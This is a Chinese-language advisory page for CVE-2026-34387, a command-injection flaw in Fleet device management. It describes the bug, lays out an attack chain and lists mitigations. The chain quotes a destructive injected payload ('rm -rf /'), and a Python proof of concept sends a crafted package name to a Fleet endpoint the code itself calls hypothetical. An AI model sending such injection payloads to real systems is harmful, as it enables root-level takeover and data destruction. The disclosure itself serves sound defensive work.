IPBUF安全漏洞报告
English
CVE-2026-34387 CVSS 9.8 严重

CVE-2026-34387: Fleet 远程代码执行漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-34387
漏洞类型
命令注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Fleet

相关标签

RCE命令注入FleetCVSS-9.8设备管理严重漏洞

漏洞概述

Fleet是一款开源的设备管理软件,广泛应用于企业环境中对主机进行集中管理。在4.81.1版本之前,Fleet的软件安装程序管道中存在严重的命令注入漏洞。攻击者无需经过身份认证,即可利用该漏洞在受管主机上触发针对恶意软件包的卸载操作。由于系统在处理卸载请求时未能有效过滤特殊字符,攻击者可注入任意操作系统命令。这将导致攻击者以root(macOS/Linux)或SYSTEM(Windows)权限在目标主机上执行任意代码,从而完全控制受管设备。该漏洞CVSS评分高达9.8,属于严重级风险,建议用户立即采取修复措施。

技术细节

该漏洞的根源在于Fleet Agent处理软件卸载任务时的输入验证缺失。Fleet通过控制台向受管主机下发软件管理指令,在旧版本中,当Agent接收到卸载特定软件包的指令时,会将软件包的标识符或其他元数据直接拼接到系统Shell命令中执行,而未进行严格的清洗或转义。攻击者可以通过构造特制的软件包名称,例如在名称中包含分号、反引号或管道符等Shell元字符,将恶意命令注入到执行流中。由于Fleet Agent通常以最高权限运行以完成软件安装和卸载任务,被注入的命令将以root或SYSTEM权限执行。此外,根据CVSS向量(AV:N/AC:L/PR:N/UI:N),该漏洞可通过网络低复杂度攻击,且无需用户交互和权限,使得攻击者能够批量接管受管主机。

攻击链分析

STEP 1
侦察
攻击者识别网络中运行Fleet < 4.81.1版本的目标服务器及其API端点。
STEP 2
武器化
攻击者构造包含恶意Shell命令载荷的特制软件包名称或元数据(如:Package; rm -rf / #)。
STEP 3
交付
攻击者通过网络向Fleet服务器发送卸载请求,利用漏洞触发机制将恶意载荷投递给受管主机。
STEP 4
利用
Fleet Agent在受管主机上接收到卸载指令,将恶意参数拼接到系统命令中并执行Shell。
STEP 5
安装与执行
注入的恶意命令以root或SYSTEM权限执行,攻击者获得目标主机的完全控制权。
STEP 6
命令与控制
攻击者建立后门或执行后续攻击行动,如横向移动、数据窃取或部署勒索软件。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-34387 # This script simulates sending a malicious uninstall request to Fleet. # The payload injects a shell command to create a file. import requests import json # Target Fleet server API endpoint (Hypothetical based on vulnerability description) TARGET_URL = "https://fleet-server.example.com/api/v1/fleet/software/uninstall" # Malicious package name containing command injection payload # Payload: `touch /tmp/pwned.txt` creates a file to prove execution malicious_package = "VulnerablePackage; touch /tmp/pwned.txt #" # Construct the payload # Note: CVSS PR:N indicates no authentication might be required, # or an attacker might trigger this via another mechanism. data = { "software_title": malicious_package, "hosts_ids": ["target_host_id_1"] } headers = { "Content-Type": "application/json", "Authorization": "Bearer <optional_token_if_auth_needed>" } try: print(f"Sending payload to {TARGET_URL}...") response = requests.post(TARGET_URL, headers=headers, data=json.dumps(data), verify=False) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check the target host for /tmp/pwned.txt to verify RCE.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Fleet < 4.81.1

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用Fleet的远程软件卸载功能,并严格监控所有Agent进程的命令行参数。管理员应检查所有待处理的软件包任务,确保其中不包含异常字符或可疑的包名。此外,可以通过SIEM系统对主机上产生的Shell进程进行监控,检测非预期的命令执行行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表